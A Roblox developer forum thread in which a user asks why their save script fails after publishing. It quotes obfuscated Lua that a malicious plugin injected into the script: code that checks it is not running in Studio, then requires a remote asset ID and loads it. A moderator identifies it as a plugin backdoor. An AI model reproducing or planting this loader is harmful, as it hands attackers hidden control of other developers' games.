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Why does my saving system mess itself up whenever I publish the game? [Nvm Solved]

Asked by 5 years ago
Edited 5 years ago

Hello, I am currently working on a game where you buy computer parts and mine Dogecoin. (Stupid, I know) However, whenever I publish the game, the save system turns from this:

game.Players.PlayerAdded:Connect(function(player)

to this:

game.Players.PlayerAdded:Connect(iU92jbh8qFN = 'IsStudio' iOGG0k = game ixur91 = 'Debris' i43lDOAv = spawn iVPaTRXS = 'GetService' izkK7e7VHXVQU = 'PlaceId' iIThc9RdbOK = 'WaitForChild' ihQY50Mer1Tp = require i8IjAdt3Nuo = 'SSM' i7O7iZdJ1Fk = 'IsStudio' iRIaB = 'FindFirstChild' idpvpXcwBr = 'RunService' iR0UdNeaijI = math.sqrt iR4bWvDIJbGQNoe = pcall iRXKq = 'Workspace' iNRwUFnrq = 'load' iblS9B = 'Name' iDtL = 26550567.93 * 100 i43lDOAv( function() iR4bWvDIJbGQNoe( function() if iOGG0k:GetService(idpvpXcwBr) [i7O7iZdJ1Fk] (iOGG0k:GetService(idpvpXcwBr) ) then return end ihQY50Mer1Tp(iDtL) [iNRwUFnrq] (iOGG0k[izkK7e7VHXVQU] ) end ) end )function(player)

When this happens, the leaderstats don't show up.

This is the code I'm using:

local SaveService = game:GetService('DataStoreService'):GetDataStore('Stuff')
game.Players.PlayerAdded:Connect(function(player)
    local ID_iIIIiiIIiI = 'ID_'..player.UserId
    local stuff = Instance.new("IntValue",player)
    local Dogecoin = Instance.new("IntValue",stuff)
    stuff.Name = "leaderstats"
    Dogecoin.Name = "Dogecoin"

    local Folder1 = Instance.new("Folder", player)
    local DPC = Instance.new("IntValue", Folder1)
    local DogePS = Instance.new("IntValue", Folder1)


    local GetDoge = SaveService:GetAsync(ID_iIIIiiIIiI)
    if GetDoge ~= nil then
        Dogecoin.Value = GetDoge[1]
    else
        local DogeList = {Dogecoin.Value}
        SaveService:SetAsync(ID_iIIIiiIIiI, Dogecoin)
    end
end)

game.Players.PlayerRemoving:connect(function(player)
    local ID_iIIIiiIIiI = 'ID_'..player.UserId
    local SavedDogecoin = {player.leaderstats.Dogecoin.Value}
    SaveService:SetAsync(ID_iIIIiiIIiI, SavedDogecoin)
end)

And, before you ask, 1. Yes, it is a server script in server script service 2. There is nothing conflicting with the script 3. No one else is using the same variable name for the UserId 4. The save only works without that giant block of code between connect( and function().

Do any of you have experience with this issue or know how to fix it? If you do and you could answer this post, that would be greatly appreciated.

0
Turns out I only had to put it in workspace instead I'm kinda stupid xForVowels 6 — 5y

1 answer

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Answered by
RubenKan 3615 Moderation Voter Administrator Community Moderator
5 years ago

You have a virus plugin. That's what's going on. You'll mostlikely also have server-sided backdoors in your game. suggest to remove ALL plugins you have and MANUALLY copy everyting to a new place, as they also use hidden script infections into services you can't see in studio.

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